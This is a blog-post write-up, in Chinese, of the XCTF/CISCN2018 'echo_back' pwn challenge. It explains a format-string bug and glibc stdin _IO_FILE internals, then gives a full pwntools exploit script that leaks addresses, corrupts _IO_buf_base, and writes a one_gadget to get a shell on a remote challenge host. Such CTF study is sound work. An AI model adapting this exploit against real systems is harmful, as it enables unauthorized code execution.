【XCTF攻防世界】echo_back Writeup

@t3ls August 26, 2019

PWN (https://t3ls.club/index.php/category/PWN/)

XCTF攻防世界：echo_back

原题：CISCN2018:echo_back

题目链接：https://github.com/t3ls/pwn/tree/master/XCTF-adworld/echo_back (https://github.com/t3ls/pwn/tree/master/XCTF-adworld/echo_back)

漏洞原理

程序的主要逻辑只有一个函数 echo_back ， 另一个 set_name 函数可以设置传入的 name 局部变量

```
unsigned __int64 __fastcall echo_back(char *name)
{
  int size; // [rsp+1Ch] [rbp-14h]
  char s[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  memset(s, 0, 8uLL);
  printf("length:");
  _isoc99_scanf((__int64)"%d", (__int64)&size);
  getchar();
  if ( size < 0 || size > 6 )
    size = 7;
  read(0, s, (unsigned int)size);
  if ( *name )
    printf("%s say:", name);
  else
    printf("anonymous say:");
  printf(s);
  return __readfsqword(0x28u) ^ canary;
}
```

可以很明显的看到倒数第二句有一个格式化字符串漏洞，最多只能输入7个字节，保护全开

```
tsls@LAPTOP-9080V510:/tmp$ checksec ./echo_back
[!] Couldn't find relocations against PLT to get symbols
[*] '/tmp/echo_back'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

因此可以向一个任意地址写入4/2/1字节的 \x00 ，栈地址、 libc 、程序基址都可以通过格式化字符串泄露获得。这种利用方式是通过 Partial overwrite 位于 libc 数据段的 IO_FILE 结构体，从而实现任意地址写的一种利用方式。在此之前，我们要通过 scanf 的源码了解一些基础知识。


```
int
__isoc99_scanf (const char *format, ...)
{
  va_list arg;
  int done;

#ifdef _IO_MTSAFE_IO
  _IO_acquire_lock_clear_flags2 (stdin);
#endif
  stdin->_flags2 |= _IO_FLAGS2_SCANF_STD;

  va_start (arg, format);
  done = _IO_vfscanf (stdin, format, arg, NULL);
  va_end (arg);

#ifdef _IO_MTSAFE_IO
  _IO_release_lock (stdin);
#endif
  return done;
}
```

可以看到， scanf 实际是调用了 _IO_vfscanf ， 并传入了文件指针 stdin 作为参数。

跟进 _IO_vfscanf 函数，其内部实现是 _IO_vfscanf_internal 函数。

```
      fc = *f++;
      if (fc != '%')
    {
      /* Remember to skip spaces.  */
      if (ISSPACE (fc))
        {
          skip_space = 1;
          continue;
        }

      /* Read a character.  */
      c = inchar ();

      /* Characters other than format specs must just match.  */
      if (__glibc_unlikely (c == EOF))
        input_error ();

      /* We saw white space char as the last character in the format
         string.  Now it's time to skip all leading white space.  */
      if (skip_space)
        {
          while (ISSPACE (c))
        if (__glibc_unlikely (inchar () == EOF))
          input_error ();
          skip_space = 0;
        }

      if (__glibc_unlikely (c != fc))
        {
          ungetc (c, s);
          conv_error ();
        }

      continue;
    }
```

我们着重关注读入非 % 字符时的处理逻辑，是通过while循环调用 inchar 函数读入一个字符。继续进到 inchar 函数里面，最终是通过内联调用了 _IO_getc_unlocked


```
#define _IO_getc_unlocked(_fp) \
       (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0) \
    ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)
#define _IO_peekc_unlocked(_fp) \
       (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0) \
      && __underflow (_fp) == EOF ? EOF \
    : *(unsigned char *) (_fp)->_IO_read_ptr)
#define _IO_putc_unlocked(_ch, _fp) \
   (_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0) \
    ? __overflow (_fp, (unsigned char) (_ch)) \
    : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
```

当 IO_FILE 结构体中的 _IO_read_ptr < _IO_read_end 时， _IO_read_ptr++ ； 反之则继续进入 __uflow 进行处理，根据注释， __uflow 的逻辑实际是 streambuf::uflow 虚函数，这是在 ANSI/ISO 中实现的

```
/* The 'uflow' hook returns the next character in the input stream
   (cast to unsigned char), and increments the read position;
   EOF is returned on failure.
   It matches the streambuf::uflow virtual function, which is not in the
   cfront implementation, but was added to C++ by the ANSI/ISO committee. */
#define _IO_UFLOW(FP) JUMP0 (__uflow, FP)
#define _IO_WUFLOW(FP) WJUMP0 (__uflow, FP)
```

```
int uflow() {
  if ( underflow() == EOF ) return EOF;
  gbump(1);
  return gptr()[-1];
}
```

因此当 _IO_read_ptr >= _IO_read_end 时最内层的处理逻辑就是 _IO_new_file_underflow


```
static const struct _IO_jump_t _IO_proc_jumps = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, _IO_new_file_overflow),
  JUMP_INIT(underflow, _IO_new_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_new_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_new_proc_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
```

```
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
    {
      free (fp->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_doallocbuf (fp);
    }

  /* Flush all line buffered files before reading. */
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      /* We used to flush all line-buffered stream.  This really isn't
     required by any standard.  My recollection is that
     traditional Unix systems did this for stdout.  stderr better
     not be line buffered.  So we do just that here
     explicitly.  --drepper */
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
      == (_IO_LINKED | _IO_LINE_BUF))
    _IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
```


```
#endif
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
                fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
    fp->_flags |= _IO_EOF_SEEN;
      else
    fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch activ
e
       handles.  As a result, our offset cache would no longer be valid, so
       unset it.  */
       fp->_offset = _IO_pos_BAD;
       return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
```

于是 scanf 时，若 stdin 对应的 IO_FILE 结构体中 fp->_IO_read_ptr < fp->_IO_read_end，则将输入写入 fp->_IO_read_ptr 并返回，反之对 _IO_read_base 等指针进行了赋值（均赋值为 _IO_buf_base），调用 _IO_SYSREAD 将用户输入写入 _IO_buf_base 并返回。


```
/* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
                       fp->_IO_buf_end - fp->_IO_buf_base);
```

利用思路

通过上面对 scanf 的了解，不难想到，只要我们能够控制 _IO_buf_base 指针，并构造 fp->_IO_read_ptr >= fp->_IO_read_end，就能实现任意地址写了。

比较方便的是，当我们第一次调用 scanf 初始化时， _IO_read_ptr == _IO_read_end，那就可以直接修改 _IO_buf_base ，不需要再构造 fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; 的触发条件

```
pwndbg> p _IO_2_1_stdin_
$2 = {
  file = {
    _flags = -72540021,
    _IO_read_ptr = 0x7fffff3f4964 <_IO_2_1_stdin_+132> "",
    _IO_read_end = 0x7fffff3f4964 <_IO_2_1_stdin_+132> "",
    _IO_read_base = 0x7fffff3f4963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_base = 0x7fffff3f4963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_ptr = 0x7fffff3f4963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_end = 0x7fffff3f4963 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_base = 0x7fffff3f4963 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_end = 0x7fffff3f4964 <_IO_2_1_stdin_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x7fffff3f6790 <_IO_stdfile_0_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7fffff3f49c0 <_IO_wide_data_0>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7fffff3f36e0 <_IO_file_jumps>
}
pwndbg> x/20xg 0x3c48e0+0x7fffff030000
0x7fffff3f48e0 <_IO_2_1_stdin_>:        0x00000000fbad208b      0x00007fffff3
f4964
0x7fffff3f48f0 <_IO_2_1_stdin_+16>:     0x00007fffff3f4964      0x00007fffff3
f4963
0x7fffff3f4900 <_IO_2_1_stdin_+32>:     0x00007fffff3f4963      0x00007fffff3
f4963
0x7fffff3f4910 <_IO_2_1_stdin_+48>:     0x00007fffff3f4963      0x00007fffff3
f4963
0x7fffff3f4920 <_IO_2_1_stdin_+64>:     0x00007fffff3f4964      0x00000000000
00000
0x7fffff3f4930 <_IO_2_1_stdin_+80>:     0x0000000000000000      0x00000000000
00000
```

```
0x7fffff3f4940 <_IO_2_1_stdin_+96>:     0x0000000000000000      0x00000000000
00000
0x7fffff3f4950 <_IO_2_1_stdin_+112>:    0x0000000000000000      0xffffffffff
fffff
0x7fffff3f4960 <_IO_2_1_stdin_+128>:    0x000000000a000000      0x00007fffff3
f6790
0x7fffff3f4970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff      0x00000000000
00000
```

对于这道题来说， _IO_buf_base 位于 0x7fffff3f4918 ，所以如果我们通过格式化字符串漏洞将 0x7fffff3f4963 的最低字节覆盖为 \x00 ，其值 0x7fffff3f4900 正好还在IO结构体的内部，就是 _IO_write_base 的地址，那么我们就可以通过 scanf 覆盖 _IO_buf_base 指针，修改为栈上的返回地址，再次 scanf 时就可以控制控制流了。

但是当我们第一次 scanf 将 ret_addr 写入 _IO_buf_base 时， _IO_read_end 会+=读入的字节，那么我们就需要填充此时 _IO_read_ptr 与 _IO_read_end 之间的内存，才能触发 _IO_buf_base 的再次赋值，将输入写到构造的栈地址上

```
if (count <= 0)
    {
      if (count == 0)
    fp->_flags |= _IO_EOF_SEEN;
      else
    fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
```

这里就需要用到 echo_back 函数中的 getchar

```
int
getchar (void)
{
  int result;
  _IO_acquire_lock (_IO_stdin);
  result = _IO_getc_unlocked (_IO_stdin);
  _IO_release_lock (_IO_stdin);
  return result;
}

#if defined weak_alias && !defined _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias (getchar, getchar_unlocked)
#endif
```


其实际调用的还是 _IO_getc_unlocked 方法，和 inchar 的效果一样，当 _IO_read_ptr < _IO_read_end 时， _IO_read_ptr++ ，所以可以通过循环触发 getchar 使得 _IO_read_ptr >= _IO_read_end 。

最后在返回地址上写入 one_gadget 就能 getshell 了。

exp

```
from pwn import *
context.update(arch='amd64', log_level='debug')

p = remote('111.198.29.45',58388)
#p = process('./echo_back')
l = ELF('./libc-2.23.so')
e = ELF('./echo_back')

def echo(length, data):
    p.sendlineafter('>>', '2')
    p.sendafter('length', str(length))
    p.send(str(data))
    try:
        p.recvuntil('anonymous say:',timeout=0.5)
        return p.recvuntil('-----', drop=True)
    except Exception as e:
        pass

def set_name(data):
    p.sendlineafter('>>', '1')
    p.sendafter('name', str(data))

if __name__ == '__main__':
    l.address = int(echo('7\n', '%2$p'), 16) - 0x3c6780
    e.address = int(echo('7\n', '%6$p'), 16) - 0xef8
    stack_addr = int(echo('7\n', '%7$p'), 16) - 0x18
    set_name(p64(l.symbols['_IO_2_1_stdin_']+0x38))
    echo('7\n', '%16$hhn\n')
    echo(str(p64(l.address+0x3c4963)*3+p64(stack_addr)+p64(stack_addr+8)),
'\n')
    for _ in range(0x28-1):
        p.sendlineafter('>>', '2')
        p.sendlineafter('length', '')
    p.sendlineafter('>>', '2')
    p.sendlineafter('length', p64(l.address+0x45216))
    p.sendline()
    p.interactive()
```

添加新评论

称呼 *

Email *

网站

内容 *

提交评论